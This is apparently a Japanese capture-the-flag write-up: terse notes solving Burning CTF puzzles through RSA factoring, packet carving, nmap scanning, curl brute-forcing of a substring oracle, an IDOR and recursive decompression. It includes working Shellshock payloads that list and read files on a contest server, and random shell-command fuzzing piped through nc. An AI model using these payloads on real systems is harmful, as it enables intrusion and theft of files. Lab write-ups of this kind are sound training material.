http://burningctf.yamatosecurity.com/score/puzzle
cympfh:yuyushiki
メモとりながらやってたのでメモを晒します
画像を繋げる
勘
{spawn, exec} = require 'child_process'
child = spawn 'stdbuf', ['-o0', './121-calculation']
child.stdout.setEncoding 'utf-8'
child.stderr.on 'data', (data) ->
console.warn 'stderr', data
buf = ''
child.stdout.on 'data', (data) ->
console.log 'stdout', data
buf += data
if buf.indexOf('=') > -1
x = Math.floor eval buf.replace /=/g, ''
child.stdin.write (new Buffer("#{x}\n"))
buf = ''
FLAG_5c33a1b8860e47da864714e042e13f1e
神戸牛
http://saizou.makibisi.net/sinobi/iroha.html
神代文字 (じんだいもじ) というやつで "やまといえは" とある. "山と言えば?" → "川"
秘密鍵と暗号化されたバイナリが渡されるから復号化せよというもの 原理的には素因数分解すればよい CTFだから、なんとか素因数分解が出来るものが渡されて、 適当なネットサービスを使えば実際にできる
[EKOPARTY PRE-CTF 2015] [Cry100 – RSA 2070] Write Up | 0x90r00t
にある手順を真似た.
openssl rsa -noout -text -inform PEM -in public-key.pem -pubin
Public-Key: (640 bit)
Modulus:
00:ae:5b:b4:f2:66:00:32:59:cf:9a:6f:52:1c:3c:
03:41:01:76:cf:16:df:53:95:34:76:ea:e3:b2:1e:
de:6c:3c:7b:03:bd:ca:20:b3:1c:00:67:ff:a7:97:
e4:e9:10:59:78:73:ee:f1:13:a6:0f:ec:cd:95:de:
b5:b2:bf:10:06:6b:e2:22:4a:ce:29:d5:32:dc:0b:
5a:74:d2:d0:06:f1
Exponent: 65537 (0x10001)
Modulus
とあるものが、2つの素数の積. :
で区切られているが、そのまま連結して16進数として読めばよい.
10進数へ変換
ruby -e "p '$(openssl rsa -noout -text -inform PEM -in public-key.pem -pubin | grep '^ ' | tr -d ':' | tr -d '\n' | tr -d ' ')'.to_i 16"
3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609
これを素因数分解する. 先のwebページで使われてた通り www.factordb.com
に投げてみた:
http://www.factordb.com/index.php?query=3107418240490043721350750035888567930037346022842727545720161948823206440518081504556346829671723286782437916272838033415471073108501919548529007337724822783525742386454014691736602477652346609
すると
の積と判明. ここから秘密鍵を作る.
wget https://raw.githubusercontent.com/ius/rsatool/master/rsatool.py
sudo apt-get install python-gmpy
./rsatool.py -p 1634733645809253848443133883865090859841783670033092312181110852389333100104508151212118167511579 -q 1900871281664822113126851573935413975471896789968515493666638539088027103802104498957191261465571 -o private.pem
で、復号化
openssl rsautl -decrypt -inkey private.pem -in flag.txt
FLAG_IS_WeAK_rSA
src: http://sprunge.us/ABKI
# gen.rb
s = [
'ls', 'echo', 'cat',
'0', '1',
'>', '<'
]
c = []
n = 1 + rand(100)
n.times {
c << s[rand(s.length)]
}
puts c.join ' '
( for i in `seq 1000`; do ruby gen.rb; done; echo exit ) | nc 210.146.64.35 31337
なんかできた
src: http://sprunge.us/DWba 1. Yama 2. too
ソースを読むとあと3つ必要. ところで Yama too は "大和" と読める.
パケット見てるとPNGの文字列があったので、PNG画像自体がどこかにあると予想. 実際にひとつだけでかいパケットがある. その1つ前のパケットに、ヘッダの部分が紛れてるので連結しないとダメ. 実際にはその2つだけでは完全な画像は復元できなかったけど、 フラグを見るにはそれで十分.
耳コピすると x5kpPQJU x5kpBQJU のあとに small って聞こえる
strings すると removeme={U2FsdGVkX19DElLZ5iosaBUi9M5zUkEIeSRJkzkbf8XfGIuf2KvFOw71OJ0WmeJ0}
ってある.
FLAG.tar
0400 50 4b 03 04 0a 00 00 00 00 00 6e 8a 1a 47 03 d9 PK........n..G..
0410 e4 2c 25 00 00 00 25 00 00 00 08 00 1c 00 66 6c .,%...%.......fl
0420 61 67 2e 74 78 74 55 54 09 00 03 1f f5 dd 55 24 ag.txtUT......U$
0430 f5 dd 55 75 78 0b 00 01 04 f4 01 00 00 04 f4 01 ..Uux...........
0440 00 00 52 6b 78 42 52 33 74 59 56 45 6c 75 57 44 ..RkxBR3tYVEluWD
0450 59 35 62 6e 46 32 52 6d 46 76 52 58 64 33 54 6d Y5bnF2RmFvRXd3Tm
0460 4a 39 43 67 3d 3d 0a 50 4b 01 02 1e 03 0a 00 00 J9Cg==.PK.......
base64 としてデコードして FLAG{XTInX69nqvFaoEwwNb}
http://burning.nsc.gr.jp/ flag={BasicIsNotSecure}
nmap -vv -dd -Pn 210.146.64.34 -p 1-10000
めっちゃ時間かかった.
5006番ポートが何に使われているのか調べてみたけれど、 wsm-server? とかいう意味不明なのが出てきただけだった.
nc 210.146.64.34 5006
<C-D-E-F-E-D-C---E-F-G-A-G-F-E---C-C-C-C-CCDDEEFFE-D-C->what animal am i?the flag is the md5 hash of my name.%
カエルの歌
md5sum<<<'frog'
0c304e0781f354e686b38b18647afc18 -
は不正解. リダイレクトだと最後に改行が入るらしい
echo frog | tr -d '\n' | md5sum
938c2cc0dcc05f2b68c4287040cfcf71 -
images.google.com twanzphobic.wordpress.com
ヒントなしだとただのエスパー curl http://...pdf | strings
で作者情報が偶然入ってた
O(n^2) でやったけど3分で終わったしまあいっか。
f_sz!bp_$gufl=b?za>is#c|!?cxpr!i><
初め 10! 全通り試そうとしてブラウザが死んだので真面目に解いた 知らん記法が明らかにあるけどそこは勘
window["eval"]["call"]`${
[ (0O000101), (0b1001100), (101), 0x52, 0x54 ]
["map"](x=>String["fromCodePoint"](x))["join"]("")["toLowerCase"]() +"(1)"
}`;
1文字ずつを試すことで
member of "a" are 10
member of "b" are 0
member of "c" are 0
member of "d" are 9
member of "e" are 4
member of "f" are 9
member of "g" are 3
member of "h" are 3
member of "i" are 7
member of "j" are 2
member of "k" are 4
member of "l" are 1
member of "m" are 0
member of "n" are 6
member of "o" are 1
member of "p" are 0
member of "q" are 0
member of "r" are 8
member of "s" are 8
member of "t" are 0
member of "u" are 3
member of "v" are 0
member of "w" are 0
member of "x" are 5
member of "y" are 0
member of "z" are 0
member of "_" are 6
member of "{" are 1
member of "}" are 1
flag={X}
とするとXに使う文字は
{ a:9, d:9, e:4, f:8, g:2, h:3, i:7, j:2, k:4, n:6, o:1, r:8, s:8, u:3, x:5, _:6 }
4文字くらいをいきなり探す
for a in {a,d,e,f,g,h,i,j,k,n,o,r,s,u,x}{a,d,e,f,g,h,i,j,k,n,o,r,s,u,x}{a,d,e,f,g,h,i,j,k,n,o,r,s,u,x}{a,d,e,f,g,h,i,j,k,n,o,r,s,u,x}; do curl -s "http://210.146.64.36:30840/count_number_of_flag_substring/?str=$a&count=count" | grep member | grep -v 'are 0'; done
<p>member of "afiu" are 1</p>
<p>member of "afsf" are 1</p>
ここから
PHRASE=$( for a in {a,d,e,f,g,h,i,j,k,n,o,r,s,u,x,_}$PHRASE; do curl -s "http://210.146.64.36:30840/count_number_of_flag_substring/?str=$a&count=count" | grep member | grep -v 'are 0' | grep -o ';[^;]*&' | sed 's/^.\(.*\).$/\1/g'; done | head -1 ); echo $PHRASE
みたいにして1ずつ伸ばす
afsfdsfdsfso_idardkxa_hgiahrei_nxnkasjdx_hfuidgire_anreiafn_dskafiudsurerfrandskjnxxr
flag={}
は無くてよかった
何重にも圧縮されているので解凍しまくる:
case $(file a) in
*bzip2* )
mv a flag.bz2
bzip2 -d flag.bz2
mv flag a
;;
*tar* )
mv a flag.tar
tar xf flag.tar
mv flag.txt a
;;
*gzip* )
mv a flag.gz
gunzip -d flag.gz
mv flag a
;;
*Zip* )
mv a flag.zip
unzip flag.zip
rm flag.zip
mv flag.txt a
;;
* )
echo unknown: $( file a )
;;
esac
生成された画像が http://210.146.64.47/movies/view/2827
みたいなurlで公開されてて http://210.146.64.47/movies/view/1
ってやると一番初めに生成された画像が取れる. 一瞬だけフラグが表示される動画GIFであって、 フレームへの分解を convert +adjoin 1 a.gif
ってやる.
"About" のページを見ると
Since 2000 we Have offered some Effective training courses , which cover network, Linux, web applications and related Licenses, to Students in worldwide. Hopefully Our services help you understand the Core Knowlegde of technologies.
ってあって、大文字だけ読むと SHELLSHOCK
となる.
curl -v -H "User-Agent: () { :; }; /bin/ls" 'http://210.146.64.37:60888/exec' --data 'cmd=ss&option='
curl -v -H "User-Agent: () { :; }; /bin/cat flag.txt" 'http://210.146.64.37:60888/exec' --data 'cmd=ss&option='
初め、 curl -A
でやってたんだけどなんか上手く行かんかった 上のように -H "User-Agent:
で動いた.
普通の将棋みたいに、1マスをx座標、y座標で指定するのだが、 (x,y)を(x2,y2)に動かす時 x y x2 y2
と記述してフラグにするみたい. 持ち駒を(x,y)に打つ場合は x y
.
4769
右下だけ数字のインデクシングで4と7が入れ替わっていたのでそのように
2手詰め 5456 4645 5747成
3手詰め 2636-4656-7766成-5645-3635